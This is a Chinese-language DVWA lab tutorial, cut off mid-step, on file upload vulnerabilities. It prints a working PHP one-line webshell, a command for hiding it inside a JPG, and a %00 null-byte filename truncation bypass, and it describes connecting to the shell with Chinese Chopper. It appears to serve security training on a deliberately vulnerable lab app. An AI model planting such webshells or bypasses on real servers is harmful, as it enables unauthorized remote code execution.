一、File Upload(文件上传)
1、文件上传原理
File Upload,即文件上传漏洞。通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的。简单点说,就是用户直接或者通过各种绕过方式将 webshell 上传到服务器中进而执行利用。
2、文件上传漏洞前提条件
- 能上传的木马
- 上传的木马能执行
- 清楚上传后的路径
3、一句话木马
<?php @eval($_POST['cmd']);?> //cmd的引号可省略
4、文件上传漏洞思路
4.1 编写一个一句话木马
- 上传一句话木马
- 菜刀——>地址http://ip/dvwa/....../low.php——>cmd——>脚本类型PHP
4.2 图片木马制作
方法一:找个图片,用记事本打开,在末尾位置添加一句话木马
方法二:使用cmd命令行
copy 1.jpg/b+simple.php/a 2.jpg
4.3 %00截断
当服务器的PHP版本低于5.3.4时,可使用%00截断,比如:simple.php%00.png。在进行文件名解析的时候可能会将%00后面的内容丢弃。
二、实验环境
1、服务器:Windows Server 2003,IP为192.168.247.129
2、测试机:Win 10,开启代理
3、抓包工具:BurpSuite
4、网站管理软件:Cknife(中国菜刀)
三、实验步骤
Windows
安全级别:LOW
源码分析
- DVWA_WEB_PAGE_TO_ROOT是网站根目录。没有任何过滤,可以上传任意文件。
- basename(path,suffix) 函数返回路径中的文件名部分。Path是必须参数,规定要检查的路径;suffix是可选参数,规定文件的扩展名,如果文件有 suffix,则不会输出这个扩展名;
- move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。
- $_FILES["file"]["name"] - 被上传文件的名称;$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称。
服务器对用户上传的文件类型、内容没有做筛选和检查;生成上传路径后,服务器会检查文件是否上传成功。
1、上传一句话木马(